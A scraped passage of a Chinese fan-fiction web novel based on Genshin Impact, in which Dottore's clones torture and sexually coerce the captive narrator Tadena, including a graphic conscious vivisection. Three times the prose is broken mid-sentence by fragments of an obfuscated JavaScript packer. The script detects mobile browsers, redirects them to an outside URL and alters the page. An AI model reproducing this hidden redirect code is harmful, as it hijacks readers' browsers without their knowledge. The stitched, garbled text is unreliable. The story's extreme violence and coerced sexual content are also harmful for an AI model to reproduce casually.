l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14875982|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至冬的这段时间这家伙便跟着你。没事了吧?没事我就先走了。” “等等。” 赞迪克的声音似乎突然变得很近,我低垂的视线里突然出现一双尺码明显要大得多的脚,并不算特别熟悉的气息瞬间包裹了我,我的下颌被一双手强硬地捏着抬起。 赞迪克很高。即使他的年龄其实比起少年切片大不了多少年,但我只能抬头仰视的时候才能和他的视线对上。 如同在审视一件物品一般,那只手钳着我的脸将我翻了两番查看着。 我觉得自己的下颌骨都快被捏碎了。 赞迪克靠近我的耳边,声音阴恻恻的。 “怎么?在Alpha 身边那么活跃,见了我就这么一副害怕的样子?你和Alpha两次见面的细节,我可是知道的一清二楚。你倒是长本事了。” 我感到头皮发麻。 我无法确认这个赞迪克具体切到了哪个时间段,但看这个态度,能肯定的是他好像不喜欢我。 特别不喜欢的那种。 “主,主人……” 喉咙被掐住了,极大的力度让我发不出声音来,手指下意识地扒住那只用力到青筋暴起的手,却又不敢用力,只能徒劳地搭在那紧绷的手指上。 少年博士似乎被吓了一大跳。 “你干什么?‘本体’说过要留他一命!” 赞迪克冷笑:“放心,他没那么容易死。你不是也看到了吗?‘本体’之前在他身上进行的实验记录。” “是这样没错……但是你怎么突然这个样子……” “‘突然’?” 脖子上那只手似乎又加大了力度,我几乎完全站不稳,身体快要挂在那铁钳般的手上。 我呜咽着,口腔的津液因为无力吞咽而顺着嘴角滑落。 “看来你对这家伙的印象还不错?也是了,毕竟你没有和他相处的经历,自然也不知道这个看似懦弱的家伙,会趁着你一时松懈做出怎样的事情来。呵呵,但我可忘不了,那刺穿胸膛,差点杀死我的背叛……” 草了。 竟然是活力之家那件事之后的赞迪克吗?! 多托雷做切片不是想要保留观察世界的所有视角吗? 这个视角有什么值得特别切出来保留的必要吗? 他甚至还特意让我跟着这个切片…… 少年博士的声音多了丝惊异:“竟然还有这种事情?他看起来不像是能做出这种事情的人。” 赞迪克:“呵,怀着这样的想法的话,小心下一个被背叛挥刀而向的就是你。毕竟,你看起来好杀多了。” “你!” 少年博士狠狠深吸两口气才平复了自己的心情。 “算了,不和你吵。不让我走到底还有什么事?我很忙,没空在这里看你的报仇戏码。” “呵,我还以为你和这家伙相处地那么愉快,会稍微劝我两句?”赞迪克不无嘲讽地说。 “你在说什么恶心的事情……随便你,死了被‘本体’找麻烦的也是你,不是我。” 赞迪克哼笑了一声。 这位衣冠楚楚的青年似乎终于稍微恢复了一点理智,又显露出运筹帷幄之时那副优雅的,不急不忙的样子来。 带着紧致的外套的另一只手落在那无助挣扎哭泣的人的腹部,狠狠按压了一下。 随着按压,手掌下的肌肉猛烈蜷缩着。 赞迪克想到接下来要做的事情,心情好了一半。 他连多余的眼神都懒得分给那样貌与他过分相似的少年体身上,只是看着那被钳制的,颤抖的身体。 从蓄满泪水的那双湖绿色的眼睛,到肤色惨白的锁骨,再到…… 赞迪克忍不住笑出声,声音在空荡的实验室里荡漾开来,显得有些恐怖。 “‘本体’交代了我一件事,让我从这里,把那颗被吞下去的邪眼拿出来。” 少年博士:“啊?邪眼?你确认‘本体’没说错?那玩意儿能被吃下去?” “是不是真的,剖开看看不就知道了。” 感受着手掌之下越发紧绷的皮肤,赞迪克更开心了,他甚至感受到了一丝难得的愉悦的感觉。 他稍稍扭头,将哭得可怜的青年露出一点给少年看,两双无比相似的红眸交汇。 “我还缺一个助手。我想,或许你会感兴趣?” 37. 第 37 章 赞迪克,或者该用更加准确的名字称呼他。 Beta Build。 多托雷创造的第二个切片。 而他的记忆,则截止于那场刻骨铭心的背叛。 在睁开双眼的那一刻,赞迪克躺在供给舱内,隔着一层玻璃罩看到了“本体”。 他的未来,一个带着尖喙面具,遮住了半张脸的男人。 男人张开双手,像是在迎接他的诞生。 赞迪克破开供给舱的玻璃罩,随着他粗暴的动作,后背的各色管道一个个从身体上脱落。 “欢迎来到这个世界。Beta Build。” 赞迪克只问了一个问题,第一次启用的发声系统使用起来还不太熟练。 “塔德纳,那个家伙,现在在哪里?” 男人脸上的表情没有丝毫的变化,只是语调多了一丝轻微的惊讶。 “激活的第一时间,最在意的竟然是这件事情吗。呵呵,倒也很合理,刚刚经历了一场‘背叛’的你,现在心里恐怕燃烧着熊熊的火焰,要迫不及待地将罪魁祸首燃烧殆尽吧。” 赞迪克将自己的视线分给这个与他似乎关系甚密的男人一丝,他打量着这个实验室,以及身后的装置,很快明白了自己的状况。 赞迪克对男人说:“你看起来倒是颇为怀念,不然也不会刻意把‘我’保留下来。” “不不。”男人像是听到了什么笑话一样,笑了好几声,直到赞迪克的眼神变得有些不善才堪堪停止。 “即使是基于制作切片的目的,你也有值得被保留的价值。” “包括这个微妙的时间点?” “这个算是我的私心。” 赞迪克冷笑一声。 “呵。” 赞迪克:“你竟然变得这么扭曲?真是难以相信,是‘来到至冬’改变了你?” “为何不猜测是‘塔德纳’的缘故?” “一条随手收下的狗而已,他没有那么大的权重。” 男人只是轻笑。 赞迪克突然察觉到事情可能有些不太妙。 “喂……你不会是认真的吧?我不可能被这么可笑的东西改变,这点绝无争议。” “不要紧张,Beta Build。”男人的语气悠闲。 “先回答你的问题吧。塔德纳现在不在我这里。” “你把他杀了?” “呵,倒也不用把我想得如此绝情。你明明还收到了一份其他的记忆,不是吗?” 赞迪克想起那份和自己的记忆一同苏醒的,被强迫着灌入意识的片段。 那双因为疼痛和欢愉而变得柔软迷蒙的湖绿色双眸,以及进入那身体的…… 赞迪克伸手捂头。 他嘲讽道:“你真是饿了,这也能下得去手。” “你也并非毫无反应不是吗?”多托雷似乎毫不在意被讥讽了一通的事情,他只是诉说,如同诉说一件再正常不过的事情。 “或许在见到现在的塔德纳后,你也会发现自己那些自认为早就被摒弃的,低劣可笑的欲望,实际上依然存在于灵魂之中。他现在虽然依然不是很乖,但至少愿意做些事来讨好人。” 赞迪克简直不敢相信眼前这个语气里逐渐夹杂着一丝怀念的男人是他的本源。 “你疯了吧。”赞迪克咬牙,“这种事情根本不可能发生。” 他拼命拽着自己的意识从那不堪的记忆里逃开。 “我现在只想杀了那家伙。告诉我,他在哪里?” “你对塔德纳的杀意似乎比我预想中的要高,是因为那段多出来的记忆吗?” 赞迪克瞪向多托雷。 多托雷仿若看不见那满是杀气的目光一样,依旧维持着那一副悠闲自在的模样。 赞迪克最讨厌“本体”这副尽在掌握的样子。 “塔德纳,如今正在‘赎罪’呢。若是想要发泄你那心中的怒火,便再等待一下吧。我也很想看看,在跨越许多时间之后,那团因为一场‘背叛’而燃起的火焰是否还会继续存在。” 偌大的实验室,唯余多托雷的声音依然回荡。 “就让我见识一下吧,被愤怒充斥的‘你’的结局……以及,塔德纳,面对来自旧日的,未曾清算完全的怒火,你的选择,你的未来……” …… 我曾经年纪还不算特别大的时候,在时髦且风趣幽默的同学那里听来了一个问题。 如何将一头大象关进箱子里? 答案很简单。 打开箱子,将大象装进去,然后关上箱子。 一共三步。 比起一个正式的“问题”,它更像是一个脑筋急转弯,不过讲出来逗得身边的人会心一笑而已。 彼时的我听来这个问题和答案,虽然心里也不免跟着笑了一下,但也不敢表现出来,甚至连多在那些人附近待上一段时间也不敢,便灰溜溜地悄悄离开了。 那么,如今,类似的逻辑或许也能够被用上了。 如何取得一颗被吞下的邪眼? 倘若那枚邪眼历经如此漫长的岁月依然没能被人体侵蚀的话,那么,答案依然只有三步。 打开腹部,取出邪眼,然后,关上。 若是执行这一系列操作的人与被执行这一操作的人有着难以言说,难以消解的暗仇的话,连最后一步都可省去。 毕竟,在那神奇的力量之下,即使是以最简单粗暴的手法破开了腹部,那狰狞的伤口从上腹贯穿至下腹,肠子淅淅沥沥地流了一台,我也依然还活着,甚至,缓慢地恢复着。 疼痛破除某个阈值之后就很难感受到了,这获益于大脑的某些机制。 于是我只能感受到有一只手在我的身体里摸索着,以及器官正在被粗暴地搅动。 至于意识。 我被赞迪克强行按在实验台上灌下了四五瓶强制保持清醒的药剂,即便是在刀尖刺入皮肉往下破开的时候,也依然能清晰地感受到那疼痛和刀上用力的方向。 我叫了很久,几乎是在嘶鸣,如同濒死的牲畜。 但等到大脑开始屏蔽身体的疼痛的时候,我只是侧着脸,感受着实验台冰冷的温度,眼睛眨也不眨地盯着玻璃柜上的一个大脑样本。 我不再挣扎,也不再嘶吼。 即使无论是嘶吼还是哀求,我都已经说过太多,以至于嗓子里都出现淡淡的血腥味。 赞迪克正在我的身体里翻找着。 他的动作一点也没有着急的样子,反而很悠闲,致力于延长我的这份痛苦。 唯一能说明他起码还在出力的事实可能就是,赞迪克会在我的身体缓慢愈合的时候重新隔开那新生的皮肉。 少年博士只在刚开始出了些力。他观察了一会儿我的身体,嫌赞迪克弄得东西太血腥,甚至两个人还在途中吵了一架。 少年决定离这个表情都有些失控的疯狂家伙远一点。 他绕着实验台转了一圈,最终停留在我的眼前。 他半蹲着,那双红水晶般的双眸进入我的视野。 “你在看什么?”他问,顺着我僵直的视线转头看去,只是等到看清我视线的落脚点后,又变得有些失落。 “什么嘛,只是一个大脑而已。你对那个感兴趣?” 我没有回答。 准确地说,我现在完全不想和任何人说话。如果可以的话,我能保持这个姿势对那颗大脑发呆发上一个月。 “连最基础的礼貌都不维持一下了吗?”少年博士撇了撇嘴,伸手捏着我的脸颊肉往外拉了拉。 “呃,湿漉漉的,全是汗水和眼泪。你真的很爱哭,那段记忆里也是。”少年收回手,好奇地问我,“哭泣是能够减轻疼痛吗?你每次被弄疼了似乎都会哭。” 我依然沉默。 少年气得拍了一下我的脸,恶狠狠地威胁:“不准无视我的问题!快回答我,否则我就让那家伙把你的肠子都扔掉。” 好吧,我暂时还不想当一个没有肠子的“人类”。 于是我开口了,声音嘶哑。 “不能。” 少年不满:“你只说两个字也太敷衍了吧?那你为什么还要哭?” 我说:“没有敷衍。因为疼,因为忍不住想哭。” “好吧。难以理解。” 少年博士突然对我失去了兴趣,就像是突然对我身体那奇迹般的恢复能力失去了兴趣一样。 他直起身子,抬头看向赞迪克,声音里带着强烈的不耐烦。 “你好了没有?眼睛瞎吗?就这么大点地,连一个东西都找不到?” 赞迪克冷笑:“要不然你来找?” “我才不要。脏死了。” “矫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14875983|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情的小少爷。” 在两个人再一次快要吵起来的时候,赞迪克终于从那混成一片的血肉之中找到了那个精巧的邪眼。 他将血糊得什么都看不出的邪眼扔在盘子里。 “竟然还能保存得这么完整。‘本体’能制造出这种东西,倒还不错。” 少年在一旁吐槽了一句:“这玩意儿倒也很难被人体吸收吧。行了,找也找完了,该把人合上了吧。” 赞迪克语气有些疑惑:“为什么?就放在这里也不会死不是吗?” 少年:“……” 少年:“喂喂,你这家伙,不会是认真的吧?把人折磨成这样了,你气还没消?” 赞迪克笑声阴冷。 “消气?呵呵,这种程度,连百分之一都没到。如果你经历了我的记忆,或许你会比我更记仇也说不定?别忘了,我们本质上,是来自于‘同一个人’。” “怎么?还是说,你心疼了?心疼这样一个才见过几面的家伙?” 少年啧了一声:“我没有。随你好了,反正出了任何事我会把所有事都先推在你头上。” “哼。随你。” 赞迪克冷淡地回复了一句,然后将满是鲜血的手套和外衣脱下扔掉,拎起门口衣架子上那件厚厚的白色大衣披在身上离开了。 那双猩红色的双眸甚至连多余的一眼都不愿意再落在我的身上。 如同丢弃一件垃圾。 我忍不住闭上双眼。 耳边传来少年博士的声音。 “这家伙……又把实验室搞得一团糟,所以我才不喜欢这家伙。” 少年的脚步声在实验室里响起,忽远忽近,似乎是在查看什么。过了一会儿,脚步的声音再次响起,像是朝着门的方向走去,变得越来越远。 在那脚步声就快要听不见的时候,我牵动干涩的喉咙开口。 “大人……” 脚步声骤停。 我听见自己的声音可怜地低声哀求。 “求求您,把我收拾一下吧。” 实验室里一片静默,似乎除了我再没有第二个人。 但我很清楚,少年还在,且正看着我。 不知道过了多久,有些烦躁的脚步声再次响起且越来越近,直到到了我的身边。 少年的声音带着明显的烦闷。 “你明明是那家伙弄成这样的,凭什么让我来收拾?” 我只是闭着眼,连撑开眼皮的力气都完全丧失了,只能感觉到泪水在眼皮下充盈着,然后顺着眼角滚落。 “求求您,好心的大人,我现在好疼。” “啧……你怎么还哭,眼泪流不完吗?行了行了,我答应你还不行吗?真倒霉,偏偏被你讹上来收拾残局。早知道就不答应那家伙留下来了……” 少年絮叨着,抽出一双新的手套利落戴上,又拿出全新的手术用具。 少年看着到处血肉模糊的狼藉,忍不住叹了口气,犹豫了好一会儿才说服自己伸手去碰那一堆。 虽然手法有些生疏,但少年还是很顺利地把器官重新归位,然后缝合上了那恐怖的伤口。 我如同一具死尸一般躺在台上,任由少年操作。 结束这些工作,少年博士将满是血的镊子丢掉,褪去手套后,那只柔软温热的手掌轻抚着我左边胸膛上那久经时光的痂痕。 “这两个字……是你自己刻的吗?” 我麻木地回答:“算是吧。为了向主人表明我的衷心刻下的。” 少年忍不住笑了一声:“你指‘怪物’这两个字?真好笑,他当时竟然没直接把你杀了?你这跟雷区蹦迪有什么区别?” 我拒绝回忆自己年轻时脑抽的一系列举动。 于是保持沉默。 少年因为我的拒绝对话也失去了继续聊天的兴趣。他顺手将一件外套扔在我的身上,然后解开我手脚上的束缚带。 “今天的事下不为例。”他说,“下一次被那家伙找上麻烦我可不会来帮你收拾残局了。” 少年顿了顿,又补充了一句。 “就算你求我也不会。” 脚步声离开,实验室大门吱呀一响,被打开再关上。 我伸手有些颤抖地将半遮住我脸的外套往下拽了拽,内心一片凄凉。 出狱的第一天,想念监狱里平静安逸的生活。 38. 第 38 章 我在赞迪克身边的日子过得非常不好! 相当不好! 我被完全限制人身自由。 多托雷还允许我一天有四分之一的时间可以不在他的视线范围之内,赞迪克就不一样了。 我但凡有一秒钟不在他的视线范围之内就会被这个神经病抓回去折腾一顿。 被掐着脖子按在地上,无数次感受濒临死亡的窒息;或是被捆绑手足,喂入不知名的药物,身体犹如被数万只蚂蚁啃食一般,浑身痛痒。 相比之下,或许当初多托雷在沙漠时对我的报复,都要柔情不少。 我尽力摸索着赞迪克的想法和喜好。 赞迪克每天的绝大多数时间都待在实验室。多托雷会将自己的实验内容派分给切片们,而赞迪克领到的,则是关于邪眼的研究和改善。 他讨厌被“本体”使唤的感觉,但看在邪眼的份上,赞迪克勉强可以接受暂时听从“本体”的安排。 赞迪克和所有人的关系都很一般,他几乎只会和实验室的一些人产生交流,就这还是因为要安排人手和调拨物资分配不得不和其他人对话。 他对外人的信任感非常有限。 这点毋庸置疑。 赞迪克讨厌接触别人。多托雷其实也有点这样,但是赞迪克的抵触感更加强烈,他拒绝所有人接近他周身半米的距离,这一点,也包括我。 倒不如说,尤其是我,被他特别憎恨且排斥。 我被要求不许接近他的身体一米范围之内,但同时我距离他的距离也不可以超过十米,否则我会被认为是“私自离开掌控范围之内”而被惩罚。 这样的规定实在是完全没有考虑过我的个人身心健康。 因为赞迪克几乎完全不需要睡眠,而我从身体机能上来讲还是个“正常人类”,甚至算得上是“高龄的,需要健康作息的人类”。 我感觉困的时候,赞迪克还在精神奕奕地做实验。 我困得想死的时候,赞迪克正在精神奕奕地做实验。 我困得眼皮子打架的时候,赞迪克连一丝疲倦都没有,还在做实验! 我实在憋不住了。 撑死胆大的,饿死胆小的。我决定卡在安全距离的范围内,靠着墙壁小睡一会儿。 结果被赞迪克发现。 小心眼的赞迪克连实验都不做了,屏退其他人把我按在地上教训了一顿。 这个时候他又不讲究他那“不准我接近他周身一米”的规矩了…… 我麻木地躺在地上,任由那家伙掐着我的脖子。 意识模糊,眼前也被泪水糊了一片,只能隐隐约约看见一点赞迪克的轮廓。 但我听见赞迪克的声音在问我。 “疼吗?” 我呜咽着从缝隙中挤出一点自己的声音:“疼……” 赞迪克咬着牙笑出来。 “疼就对了。我要你永远记住我给你的疼痛,你要记得,这是你活该的,活该从我这受的。” 我知道赞迪克很恨我,或者说,那个在活力之家被我用一点不入流的诡计算计到的赞迪克很恨我。 恨到恨不得把我扒皮抽骨。 虽然赞迪克并没有真的扒了我的皮,也没有真的把我的骨头全都抽出来。他只是花了一番力气把我整个身体剖开,在里面找了一圈那什么邪眼,又对我多加折辱了一番。 有没有可以消解赞迪克对我的愤怒,或者,暂时性地,离开赞迪克身边的方法呢? 有,当然有。 或许我该在这里做一个简单的添加说明。 我很难将多托雷的那些切片当作另一个“多托雷”,即使他们的外貌完全相似,性格也很相似,甚至于,赞迪克的逼真程度,就如同从我的记忆里走出来了一般。 但我很清楚,他们不是“多托雷”。 即使再相似,即使他们真的是以多托雷自己为样本,用某种方法制作出来的,“同位体”。 我无法将他们当作“多托雷”来对待,也很难将他们当作真正意义上的,伦理意义上存在的,“个体”。 回到之前的问题吧。 要想摆脱赞迪克,或者稍微现实一点,给自己谋一条生路,方法很简单。 或者说,过于简单。简单到我觉得这或许是多托雷留下的陷阱。 我找到了如今至冬还存在的第三位切片。 Theta Build。 按照顺序来看,他应该被称为“第八位被制造出来的切片”,年龄最大,实力最强,离现在的多托雷也“最近”的一个切片。 我靠着突来的实验事故,赞迪克无暇顾及我的空挡来到了这里,一家咖啡馆,据说那位切片每周固定的时间都会在这里呆上一段时间,然后用赞迪克的身份证明顺利进了包间。 在我打开包间的门刚进去的时候,手上的门把手突然传来一道不属于我的力量。 门被一下子关上且反锁。 “你来了。看来我的预估不错,你在Beta Build那里走投无路后,第一个想到的求助之人会是我。” 熟悉且优雅的声音从不远处传来。 Theta切片和多托雷几乎一模一样,同样的打扮,同样的身形,甚至脸上那副遮挡了半张脸只能看得见那唇瓣的尖喙面具,也半分不差。 但他不是多托雷。 我在心中对自己如此说。 “为什么?我明明还可以去找Alpha切片。” 我听见自己的声音勉强维持着平静,如此询问。 “当然,当然,那位年少时期的切片确实与你关系甚好,他是第一个见到你的切片,对你的印象也很好,也愿意在一些小事上向你伸出援手。更重要的是,这个切片足够年幼,也足够容易控制,对吗?” Theta切片看向我,眼神在我身上驻留。 我紧靠着身后冰冷的门板。 似乎是看出我的紧张,Theta切片温和地笑起来。 “不必如此紧张。”他说,“我不是Beta切片那种热衷于破坏的家伙。你不是也打听了很多才最终决定来找我的吗?” “那是你故意散播出去的消息。”我笃定地说。 “是又如何?不是又如何?Beta切片现在恐怕已经发现你在实验室做的手脚了吧?利用早期版本的邪眼对元素力的控制不稳定这个缺点,引爆能量集束装置。呵呵,论对邪眼的研究,Beta切片或许该称你一声‘老师’。” 我忍不住在脑海里想了一副赞迪克俯首叫我“老师”的画面,顿觉恶寒,猛甩了两下头才把这种恐怖的东西从大脑里驱赶出去。 我说:“还请不要讽刺我了。” “讽刺?”Theta切片的声音带上一点惊讶,“怎么会是讽刺呢?即使抛开这个,你能在被监视的情况下用拼凑来的材料做成简易邪眼,也能够证明你的才能不是吗?” 我忍不住接了一句:“做手工的才能?” “呵呵,‘模仿’,亦是一种能力。至少你让我看到了一点帮助你的价值,不是吗?” 我沉默。 Theta切片见状也不再继续这个话题。 “我们刚才说到哪里了?对了,Alpha切片。虽然看起来你去找Alpha切片求助的可能性是最大的,你对那位少年切片截然不同的态度,就连Beta切片也被你迷惑,此刻恐怕已经在去找Alpha切片的路上了。但是……” Theta切片语气拉长。 “你很清楚,Alpha切片实力不足,权利也没有大到可以在Beta切片手下庇护你的程度,所以,在你的计划里,那位少年切片便是你的迷惑牌……” 我:“不要再说了。” Theta切片似乎顿了一下。 他将桌面上早就已经凉透的咖啡转了半圈,让杯柄的方向对着大门,然后又转了半圈,对准窗户。这样反复着。 “你有些生气?”他揣度着,“为什么?我哪里说错了吗?哦,我忘了,从记忆来看,你是一位‘本体’都赞叹的‘道德高尚之人’。或许你对我戳穿‘你对Alpha切片看似关心实则利用’的事实有些介怀?” 这个家伙…… 我抚摸着一跳一跳的额角,感受到自己多年不曾再犯的头疼有了复苏的征兆。 “大人。”我打断他的话,“闲聊还是到此为止吧,我们谈谈……” 但很快我又被Theta切片打断。 他问我:“为什么称呼是‘大人’,而不是‘主人’?” 男人仿佛只是随口一问一般,那优雅且温和的语气连半分也没有改变。 至冬冰冷的日光透过玻璃落到他的身上,落到那肩上黑羽环覆的金属鸟头装饰上,那蓝色的鸟眼闪烁着。 我感受到若有若无的逼迫感,下意识后退半步,但只能更贴近那门。 腰间被坚硬的门把手硌得酸痛。 我回答:“我以为您也和另外两位大人一样,不喜欢被我当成‘主人’。” Theta切片轻笑。 “你从来没有把‘我们’当成过‘本体’,不是吗?或者说,你甚至没有把‘我们’当成真正的‘生命’。” 我为Theta切片敏锐的感知而头皮发麻。 或许来找Theta切片是一件完全错误的事情。 我的内心忍不住浮现起这样的想法。 “这样的区分毫无意义,只有意识过剩的不成熟体才会在这种不痛不痒的小地方急于将自己同‘本体’区分开。”Theta切片摆了摆手,“就用那个称呼吧,我比较喜欢。” 我别无选择,只能顺着他的意轻声叫了一声。 “主人……” 不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14875984|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道是不是错觉,Theta切片的心情似乎好了一点,连那若有若无的压迫感也少了。 真是一个奇怪的切片…… Theta切片朝我招了招手。 我走过去,刚想坐在对面却被男人一把抓住手臂拉过去,落在了温热且有力的大腿上。 我身体僵硬,动都不敢动,任由Theta切片伸手环绕着我将我压进怀抱里,那尖喙面具的触感落在我的侧颈,我感受到柔软且陌生的触感落在我颈间的皮肉上,带着热意的吐息。 我:“!” 我下意识地挣扎,却被紧紧地束缚住双手。 男人吸吮着,我能感受到有牙齿咬合,但力度很轻,只留下了一点浅浅的凹陷,且很快便有一道湿热的触感慢慢舔舐过去。 如同电流流过。 我压抑着身体的反应和齿间将要溢出的声音,手指抓紧了Theta切片手臂上的衣料。 后背紧贴的胸膛轻轻震颤起来。 Theta切片轻笑:“你太敏感了,和‘本体’做那种事情的时候,也会敏感成这样吗?塔德纳。” 他叫着我的名字,如同在舌与齿间来回揉搓滚动了一番才不舍地将那名字吐出。 我只感到失控的害怕。 多托雷怎么回事?造的切片怎么一个比一个不正常? “主人……”我现在的声音简直一塌糊涂,但我又不能不开口,否则这家伙绝对会一直这样继续下去的。 “嗯。”男人的声音黏糊且低沉。 “主人。”我强迫自己的声音变得稍微正常一点,“我的事情,您还没有同意……呜……” 耳朵…… 耳朵被轻轻咬了一下。 “什么事情?” Theta切片用无辜的声音问。 “……” 我深吸了一口气,才平复了一点声音里的颤抖。 “我和Beta切片那位大人……呃嗯,您,您不要在这里用力了……” “说清楚一点,塔德纳。” 我几乎快受不了这样的逗弄了,身体烫得要死,脑袋也是空空得想不起来一点东西。 再给我一次机会,我绝对不可能来找Theta切片! 但我很清楚我现在骑虎难下,只能艰难地拨动自己的大脑。 “我不想待在Beta切片身边,求求您……求求您,帮我……” Theta切片笑着,他用一只手束缚着我的双手手腕,稍稍用力将我抬起来调转方向,让我面对他坐在他的腿上。 双手被钳制在身后,我感受到身下身体的变化,几乎不敢完全将自己的重量放下去。 Theta切片半倚靠在椅背上。 他的姿态相当悠闲,就连身上的衣服也丝毫未乱,依旧整齐。 他俯视着我,面具下那张薄唇弯起一个轻微的弧度。 “当然可以。”他说。语气温柔。 “只要你帮我一个忙。” 我有些紧绷。 腰间的软肉被轻轻捏了一下。 “放轻松,一件很简单的事情而已。帮我把面具摘下来。怎么样,很简单吧?” 我惊疑不定地看着Theta切片,但什么也看不出来。 “只是这样?” “只是这样。” 我稍微扭动一下被禁锢的双手,被束缚地更紧。 我开始思考这或许是Theta切片折磨我的另一个办法,他或许只是想单纯为难一下我。 于是我就着这样双手被完全控制的样子,微微直起身,在这途中腰肉再一次被男人摸上掐了一把。 好不容易凝聚起来的力气一松,我摔在男人的胸膛上。 我忍不住瞪了一眼Theta切片,后者只是淡淡松了手。 甚至还催了一下。 “快一点,塔德纳。你的时间可不多。” 我咬了咬牙,控制着身体的肌肉保持平衡,好不容易到了那面具的高度,我咬上那面具的边缘,用上力度向下拉扯。 从这个视角,我几乎可以看见Theta切片的一切。 那被我一番动作扰得有些乱的衣襟,如同真人一般的皮肤肌理,甚至是那没多少血色的薄唇。 我集中精神,将那面具彻底拽下来。 那面具下,并不是那双熟悉的猩红色的双眸。 那是覆盖了足足半张脸的机械板面,正中心,则是一个极大的红色独眼。 那机械独眼转动着,最终锁定在我的身上,红光闪烁。 我连呼吸都快忘了,只生出一种无边的恐惧感。 被咬住的面具从齿间跌落,摔在柔软的地毯上,连一丝声响也没发出。 耳边是Theta切片依然温柔的声音。 “你似乎被吓坏了,很可怕吗?我的样子。” 39.第 39 章 我的大脑几乎在那一瞬间完全断片。 如同被骤然剪断的胶卷。 要冷静! 绝对不可以展露出半分的害怕! 直到此刻,我才完全地确认了,来找Theta切片的这个决定,实在是过于草率,也过于…… 错误! 这个家伙绝对是所有切片里最难对付的一个! 我艰难地强迫自己的视线不要偏离。 外面突然传来一阵嘈杂,紧接着门被一阵大力突然破开。 我被吓得萎缩了一下脖子。 我听到Theta切片似乎很不爽地“啧”了一声,再抬起头时,那只巨大的机械独眼已经被尖喙面具遮住,什么都看不出来。 仿若刚才的一切只是一场幻觉而已。 赞迪克带着怒火的声音传来。 “Theta切片,那是我的狗。” 头上响起的声音十分悠然。 “‘狗’?嗯……让我看看,这里好像只有‘人’,并没有‘狗’,不是吗?” “别装傻!Theta切片,别忘了,‘本体’离开之前说过他不在至冬的时候,塔德纳由我管理!而你现在是在干什么?你想违抗‘本体’的命令吗?” “呵。” Theta切片笑了一声。他脸上的笑容依然温和,只是我却能感受到,那只在我背后控制着我双手的手指明显的收紧。 “‘违抗’?不不不,当然不。”Theta切片说,“我对‘本体’的命令没有任何特别的想法,只要利益一致,我当然愿意遵守他的‘命令’。不过……” “我想你弄错了一点。‘本体’确实说过塔德纳会暂时交给你管理这件事,可是,‘本体’同样也强调了,‘不可以伤及塔德纳的性命’,不是吗?据我所知,你对塔德纳,可算不上太好。” 赞迪克语气阴沉。 “但那都在‘本体’的要求之内。塔德纳现在确实还活着,我没有违背‘本体’的要求。” “是,当然。”Theta切片用仿佛对待一个年幼不懂事的孩童般的语气说,“暂时是这样,可是以后呢?Beta Build,你能够保证,自己在之后也能够遏制住心里对塔德纳的杀意吗?” “你什么意思?”赞迪克有些不耐烦地打断Theta切片的话。 他最讨厌这种被比自己年长的切片看扁的感觉。 “我的意思是,或许你应该将手里对塔德纳的‘管理权’交出来。这也是对你好,如果你真的哪一天无法控制自己心里那烈火般的恨意与愤怒,也好避免你失手将塔德纳杀死的结局。这是最优的解决方法。” “……” 赞迪克问:“你知道‘本体’是故意把这家伙送到我的手里的,对吧?” Theta切片轻轻颔首。 “昏庸的决定……当然。可是他也没说,‘其他切片不可以抢夺管理权’,不是吗?” “所以你要从我这里抢走‘管理权’?”赞迪克的语气变得危险。 “只是处于各方面安全考虑,暂时‘接管’而已。”Theta切片微笑。 两人对峙着。 一道稍显年幼的声音突兀插入。 “你们要是决定不下来的话,不如把‘管理权’交给我。” 是少年切片。 赞迪克冷笑:“这里有你说话的份吗?” Theta切片的声音温和却傲慢:“我想以你现在的能力恐怕无法接管塔德纳。” 少年切片不忿:“呵呵,一群人渣。不如问问塔德纳自己的想法好了?让他自己选跟谁。免得在这里闹来闹去的,叫别人看了好笑。” Theta切片沉吟片刻。 “倒也算是不错的提议。我没意见。Beta Build呢?” “呵,随意。”赞迪克哼了一声,“塔德纳确实不可能选我,但是他也不可能看不出来你那副虚伪面孔下的可怕之处,Theta切片。等塔德纳选了Alpha切片,我再把他抢过来……” 少年切片语气不满:“喂喂,你这个家伙,倒是对我稍微有点尊重好吗?” “哦?尊重?你在开什么玩笑?” “我要杀了你!” 赞迪克嗤了一声:“弱小的虫子。” “好了好了,别吵了。”Theta切片出声制止。 他松开我的手腕,扶着我的腰将我从腿上放下去,又堪称温柔地整理了一下我乱掉的衣摆,然后搭着我的肩膀将我转了一个向面对赞迪克和少年切片。 直到此刻我才算看到了赞迪克和少年切片的样子。 赞迪克有些狼狈,衣服上还带着点被烧着后产生的焦黑。我很清楚那是因为爆炸的缘故。 而少年切片的状况也不算很好。他被愤怒的赞迪克从住所抓出来,脸侧还有一丝被锐器上到的血丝。 见我看过来,少年有些气鼓鼓地瞪了我一眼。 Theta切片的声音在我背后响起。 “好了,现在轮到你的选择时间了。在我们三位之中选择一位,成为你暂时的‘主人’吧。” 少年切片依旧瞪着我,脸上写着“不选我就准备等死吧”。 赞迪克或许是知道自己肯定不会被选中,直接转头不再看我。 还有Theta切片…… 这位最年长,也最捉摸不透的切片。 